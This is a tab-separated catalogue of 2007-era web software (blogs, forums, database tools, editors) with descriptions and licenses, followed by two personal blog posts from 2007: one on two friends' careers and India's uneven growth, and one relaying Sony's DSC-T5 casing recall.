WordPress	Blogging Platform	WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability. What a mouthful. WordPress is both free and priceless at the same time.	Open Source	PHP
Movable Type	Blogging Platform	Movable Type is a professional publishing platform.	Open Source	Perl
osCommerce	E-Commerce Solution	osCommerce is an online shop e-commerce solution that offers a wide range of out-of-the-box features that allows online stores to be setup fairly quickly with ease, and is available for free as an Open Source based solution released under the GNU General Public License.	Open Source	PHP
phpBB	Forum	Since its inception, phpBB™ has been among the leading bulletin board solutions and quickly rose to be the world's leading Open Source forum software.	Open Source	PHP
vBulletin	Forum	vBulletin is a professional, affordable community forum solution. Thousands of clients, including many industry leading blue chip companies, have chosen vBulletin - It's the ideal choice for any size of community.	Commercial	PHP
Simple Machines	Forum	Simple Machines Forum — SMF in short — is a free, professional grade software package that allows you to set up your own online community within minutes.	Open Source	PHP
phpMyAdmin	MySQL Interface	phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the Web	Open Source	PHP
phpPgAdmin	PostgreSQL Interface	phpPgAdmin is a web-based administration tool for PostgreSQL. It is perfect for PostgreSQL DBAs, newbies and hosting services.	Open Source	PHP
Article Dashboard	Article Directory Software	Article Dashboard is an online article directory for both publishers and authors.	Free	PHP
Article Manager	Article Directory Software	Article Manager gives you everything you need to manage your very own article driven website. You set up the software once, configure your templates, and then use the web-based content management system to update your site from anywhere in the world.	Commercial	Perl
MediaWiki	Wiki Software	MediaWiki is a free software wiki package originally written for Wikipedia. It is now used by several other projects of the non-profit Wikimedia Foundation and by many other wikis, including this very website, the home of MediaWiki.	Open Source	PHP
Lightbox	Image Popup Display	Lightbox is a simple, unobtrusive script used to overlay images on the current page. It's a snap to setup and works on all modern browsers.	Open Source	JavaScript
Google Maps	Map Viewer	The Google Maps API lets you embed Google Maps in your own web pages with JavaScript. You can add overlays to the map (including markers and polylines) and display shadowed "info windows".	Free	JavaScript
Y! Maps Flash	Flash based Map Viewer	Yahoo! is proud to offer the Yahoo! Maps product, a sleek new interface based on Adobe® Flash technology that allows a far richer maps experience. The Yahoo! Maps Flash APIs make it easy for developers to build their own custom map that takes advantage of Flash technology.	Free	Flash
FCKEditor	Rich Text Editor	This HTML text editor brings to the web much of the power of desktop editors like MS Word. It's lightweight and doesn't require any kind of installation on the client computer.	Open Source	JavaScript
JpGraph	Graph Maker	JpGraph is a Object-Oriented Graph creating library for PHP. The library is completely written in PHP and ready to be used in any PHP scripts (both CGI/APXS/CLI versions of PHP are supported).	Free & Commercial	PHP
Charts	Graph Maker	PHP/SWF Charts is a simple, yet powerful PHP tool to create attractive web charts and graphs from dynamic data.	Shareware & Commercial	PHP, Flash
DynarchMenu	Pull Down Menu	DHTML/JavaScript menu is an advanced library which can be used for anything from a site navigation system to complex application menus or toolbars that set options and execute code on the fly.	Linkware & Commercial	JavaScript

Two Friends' Advancement

anjanesh@anjanesh.com (Anjanesh) — Tue, 04 Sep 2007 08:17:19 PDT

A couple of days ago, I learnt that two of my close friends, Arindam and Deepan got a reason to be very excited. Arindam was my neighbour a decade ago and has 2+ yrs of experience in C/C++ on UNIX, while Deepan was my college classmate and has about a yr of experience using Java.

Arindam, who works for HCL Infotech, Bangalore got posted to the New York office and he is very excited experiencing the USA adventure inspite of 10+ hrs of daily work. Deepan, who works for a small outsourcing firm in Coimbatore developing web applications using Struts, has finally got internet connection in office which is now available to all employees of the firm.

While Arindam is not sleeping in the city that never sleeps, Deepan is busy with his first blog, checking out blogger and the other likes of being online. Its interesting how these two software engineers have had recent advancements in their lives, and yet such a large gap in the difference in advancement, even though both are in the IT industry and just a difference of about a yr in experience.

Today is our 60th Independence Day Anniversary and India is one of the fastest Emerging-Economy countries today, with job opportunities rising by the day and infrastructure expanding rapidly. But it seems so obvious that only the organizations that are backed by foreign funding are really accelerating advancement, others are still yet to provide even basic facilities. I'm not just judging this based on my two friend's experiences - this is noticeable pretty clearly to people in the IT industry. Foreign investment helps in boosting our economy and one of the main factors governing this is that the value of the Rupee is very low when compared to US Dollar, UK Pound etc. Inspite of being an "emerging" country, we do not see a major drop in the poverty line. Organizations responsible for charity & humanitarian work are still ongoing just like before and obviously much better, but do we see some major boom like we do in technology world ? These are two oceans moving in ~~opposite~~ different directions.

In the future most Indians would make a fortune when compared to our lifestyles a decade ago and be in parallel to the western world but the slum dwellers would the same as ever. But aren't you afraid that situation could worsen so much that the rate at which the poverty line decreasing would be so slow when compared to the rest of us emerging as Elois, that, a Hitler would be reincarnated to eradicate the Morlocks ?

If you're reading this, I would suggest you rather not try debugging this post as I finished composing this in the early hours of our 61st year since independence.

Replace your Sony DSC-T5's bottom

anjanesh@anjanesh.com (Anjanesh) — Sun, 05 Aug 2007 09:13:41 PDT

If you've got a Sony CyberShot DSC-T5 digital camera, chances are that the bottom casing of it is defective - enough to cut or scratch your finger. Even though the injuries reported by about 30 consumers were minor, one user had to get a surgery ! This only applies to users who have bought this in 2005 - 2006 period where the serial number falls in 3500001 to 3574100 range.

According to Sony :
"With certain DSC-T5 units, the metal plating peels away from the camera unit and warps outwards. Due to an irregularity during the initial part production, the adhesive strength of the metal plating declined. As a result, there is a small likelihood that damage to the bottom casing could cause the metal plating to peel and warp outwards."

Have it checked with any of the Sony-India Service Centers.